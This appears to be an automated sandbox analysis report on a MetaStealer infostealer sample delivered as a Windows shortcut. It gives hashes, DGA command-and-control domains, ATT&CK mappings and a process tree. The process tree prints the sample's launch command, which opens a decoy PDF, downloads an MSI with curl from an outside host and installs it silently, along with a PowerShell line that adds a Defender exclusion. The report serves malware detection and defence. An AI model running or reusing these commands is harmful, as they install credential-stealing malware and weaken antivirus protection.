metastealer | 68f47a7e0f69a946019a113635c5b55ec78abb0e8108ac1e285b7568093e4e50

Analysis

max time kernel
145s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03-02-2025 03:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

68f47a7e0f69a946019a113635c5b55ec78abb0e8108ac1e285b7568093e4e50.lnk
Size

3KB
MD5

d3689eceb2951bd5a9a62c1aa259b7b9
SHA1

6f9eb37cf0afacbc8211412aedc81c460c6fa4cf
SHA256

68f47a7e0f69a946019a113635c5b55ec78abb0e8108ac1e285b7568093e4e50
SHA512

253130444a06cb9a23577001044c13e4c6fb32d1c5a92e8875b5ff50be009b07f61ce1226c0d1b21fc603e44270e3422990fcb814afd6cdb7422139697f61752

Score

10^/10

metastealer discovery execution spyware stealer

Malware Config

Extracted

Family

metastealer

kiyaqoimsiieeyqa.xyz

ssqsmisuowqcwsqo.xyz

ykqmwgsuummieaug.xyz

ewukeskgqswqesiw.xyz

cscqcsgewmwwaaui.xyz

cyoksykiamiscyia.xyz

okgomokemoucqeso.xyz

ikwacuakiqeimwua.xyz

aawcsqqaywckiwmi.xyz

aiqasksgmyeqocei.xyz

qgumcuisgaeyuqqe.xyz

eiesoycamyqqgcea.xyz

ywceswakicsqomqw.xyz

auaieuewouawygku.xyz

cmiascusccywowcs.xyz

uiqkkomkaceqacec.xyz

quqeciymqmkqccqw.xyz

ssqsauuuyyigouou.xyz

aogaakukuugqswcy.xyz

ucgwcwsuqsuwewgc.xyz

Attributes

dga_seed
21845
domain_length
16
num_dga_domains
10000
port
443

Signatures

Meta Stealer
Meta Stealer steals passwords stored in browsers, written in C++.
stealer metastealer

MetaStealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/1744-170-0x0000000010000000-0x0000000010738000-memory.dmp	family_metastealer

Metastealer family
metastealer

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1616	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1744	setup.exe

Loads dropped DLL 1 IoCs

pid	Process
4092	MsiExec.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
832	ICACLS.EXE

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e57827e.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI8388.tmp	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE
File created	C:\Windows\Installer\e57827e.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{23A0140B-983C-4F7D-A24D-E9DB2FCECA48}	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXPAND.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1220	systeminfo.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
392	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
4248	msedge.exe
4248	msedge.exe
2368	msedge.exe
2368	msedge.exe
2944	msiexec.exe
2944	msiexec.exe
4032	identity_helper.exe
4032	identity_helper.exe
1616	powershell.exe
1616	powershell.exe
1616	powershell.exe
1744	setup.exe
1744	setup.exe
1948	msedge.exe
1948	msedge.exe
1948	msedge.exe
1948	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2144	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2144	msiexec.exe
Token: SeDebugPrivilege	392	taskkill.exe
Token: SeSecurityPrivilege	2944	msiexec.exe
Token: SeCreateTokenPrivilege	2144	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2144	msiexec.exe
Token: SeLockMemoryPrivilege	2144	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2144	msiexec.exe
Token: SeMachineAccountPrivilege	2144	msiexec.exe
Token: SeTcbPrivilege	2144	msiexec.exe
Token: SeSecurityPrivilege	2144	msiexec.exe
Token: SeTakeOwnershipPrivilege	2144	msiexec.exe
Token: SeLoadDriverPrivilege	2144	msiexec.exe
Token: SeSystemProfilePrivilege	2144	msiexec.exe
Token: SeSystemtimePrivilege	2144	msiexec.exe
Token: SeProfSingleProcessPrivilege	2144	msiexec.exe
Token: SeIncBasePriorityPrivilege	2144	msiexec.exe
Token: SeCreatePagefilePrivilege	2144	msiexec.exe
Token: SeCreatePermanentPrivilege	2144	msiexec.exe
Token: SeBackupPrivilege	2144	msiexec.exe
Token: SeRestorePrivilege	2144	msiexec.exe
Token: SeShutdownPrivilege	2144	msiexec.exe
Token: SeDebugPrivilege	2144	msiexec.exe
Token: SeAuditPrivilege	2144	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2144	msiexec.exe
Token: SeChangeNotifyPrivilege	2144	msiexec.exe
Token: SeRemoteShutdownPrivilege	2144	msiexec.exe
Token: SeUndockPrivilege	2144	msiexec.exe
Token: SeSyncAgentPrivilege	2144	msiexec.exe
Token: SeEnableDelegationPrivilege	2144	msiexec.exe
Token: SeManageVolumePrivilege	2144	msiexec.exe
Token: SeImpersonatePrivilege	2144	msiexec.exe
Token: SeCreateGlobalPrivilege	2144	msiexec.exe
Token: SeRestorePrivilege	2944	msiexec.exe
Token: SeTakeOwnershipPrivilege	2944	msiexec.exe
Token: SeRestorePrivilege	2944	msiexec.exe
Token: SeTakeOwnershipPrivilege	2944	msiexec.exe
Token: SeDebugPrivilege	1616	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe
2368	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2952 wrote to memory of 1152	2952	cmd.exe	83
PID 2952 wrote to memory of 1152	2952	cmd.exe	83
PID 1152 wrote to memory of 2368	1152	cmd.exe	84
PID 1152 wrote to memory of 2368	1152	cmd.exe	84
PID 1152 wrote to memory of 2524	1152	cmd.exe	86
PID 1152 wrote to memory of 2524	1152	cmd.exe	86
PID 2368 wrote to memory of 4204	2368	msedge.exe	87
PID 2368 wrote to memory of 4204	2368	msedge.exe	87
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4256	2368	msedge.exe	88
PID 2368 wrote to memory of 4248	2368	msedge.exe	89
PID 2368 wrote to memory of 4248	2368	msedge.exe	89
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90
PID 2368 wrote to memory of 1964	2368	msedge.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\68f47a7e0f69a946019a113635c5b55ec78abb0e8108ac1e285b7568093e4e50.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k start msedge https://www.wto.org/english/docs_e/legal_e/27-trips.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi http://hq-office.us/fork/setup315.msi & C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi /qn | Taskkill /f /im cmd.exe
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.wto.org/english/docs_e/legal_e/27-trips.pdf
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2368
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0x7c,0x108,0x7ffce88746f8,0x7ffce8874708,0x7ffce8874718
      4⤵
      PID:4204
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2224 /prefetch:2
      4⤵
      PID:4256
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4248
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2964 /prefetch:8
      4⤵
      PID:1964
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2276 /prefetch:1
      4⤵
      PID:1556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
      4⤵
      PID:2820
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4680 /prefetch:1
      4⤵
      PID:1560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=4876 /prefetch:6
      4⤵
      PID:1940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5280 /prefetch:8
      4⤵
      PID:1060
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5280 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5340 /prefetch:1
      4⤵
      PID:5028
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5360 /prefetch:1
      4⤵
      PID:1608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5804 /prefetch:1
      4⤵
      PID:2240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5872 /prefetch:1
      4⤵
      PID:3896
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2296,9476794086088676632,4892817466824956336,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1948
- - C:\Windows\System32\curl.exe
    curl -sLo C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi http://hq-office.us/fork/setup315.msi
    3⤵
    PID:2524
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\5010f4b0-d946-4df7-998c-9d43d2b022ab.msi" /qn
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2144
- - C:\Windows\System32\taskkill.exe
    Taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:392

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4676

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2240

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2944
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 83DDB79397F5226A41F1C5236FBAEF7B
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4092
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-1b4ee2e0-09cf-4c87-90b1-a4c42a9cfe25\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:832
- - C:\Windows\SysWOW64\EXPAND.EXE
    "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1032
- - C:\Users\Admin\AppData\Local\Temp\MW-1b4ee2e0-09cf-4c87-90b1-a4c42a9cfe25\files\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\MW-1b4ee2e0-09cf-4c87-90b1-a4c42a9cfe25\files\setup.exe" /VERYSILENT /VERYSILENT
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1744
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\search.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1616
  - - C:\Windows\SysWOW64\systeminfo.exe
      systeminfo
      4⤵
      System Location Discovery: System Language Discovery
      Gathers system information
      PID:1220

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
dc058ebc0f8181946a312f0be99ed79c

SHA1
0c6f376ed8f2d4c275336048c7c9ef9edf18bff0

SHA256
378701e87dcff90aa092702bc299859d6ae8f7e313f773bf594f81df6f40bf6a

SHA512
36e0de64a554762b28045baebf9f71930c59d608f8d05c5faf8906d62eaf83f6d856ef1d1b38110e512fbb1a85d3e2310be11a7f679c6b5b3c62313cc7af52aa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a0486d6f8406d852dd805b66ff467692

SHA1
77ba1f63142e86b21c951b808f4bc5d8ed89b571

SHA256
c0745fd195f3a51b27e4d35a626378a62935dccebefb94db404166befd68b2be

SHA512
065a62032eb799fade5fe75f390e7ab3c9442d74cb8b520d846662d144433f39b9186b3ef3db3480cd1d1d655d8f0630855ed5d6e85cf157a40c38a19375ed8a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

Filesize
20KB

MD5
abe5fb5d0fc30164c3484ce2c96f1b16

SHA1
6233c05346ef55c4bac501d0c814e0b8dfc44cab

SHA256
35c123d8d29ce7f15632ce88313a5392bdc1cd5d836fdc488004b73b2f56dff5

SHA512
6f5bac7f8028c5de191bb96a39467c17fc6c679b1c9ec3e14fa469e9d7d92e3ac21c524303576ff150f05d2aa47d0cc54fa1783b5254d532d405aeae2c1ea58b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
179B

MD5
43e85c57380b40f5090d2828cfe1c704

SHA1
a4ee2e209d23bdcd7e79031d26edf0ce26e562d2

SHA256
48b147000e36a44e92f938979d5f595ded7f2004cd00c3e8e25fb02550fa5b88

SHA512
998d8b181e548817c98713d871a1fbe8802ce82e3666d19eb1b00850c69567adbb68be81c6d0ad37ccd07050476b55259ca2037616e6be9415176386192608c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
9983cf9b36daf00245a773c62775aa75

SHA1
fce9902bf9b996767470649c6ec12f7c63d11013

SHA256
c48294cd99b6a3082a548c215014d570118156281d04368c5f4ce7335887879b

SHA512
299e5f31626fbb1e3de4a1d2984df4838d49985b8ffb9495003eaefca8566e175ae124b01a62050c80bc9685055f7a0a5483839846ca1b88d0f693722062b7d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
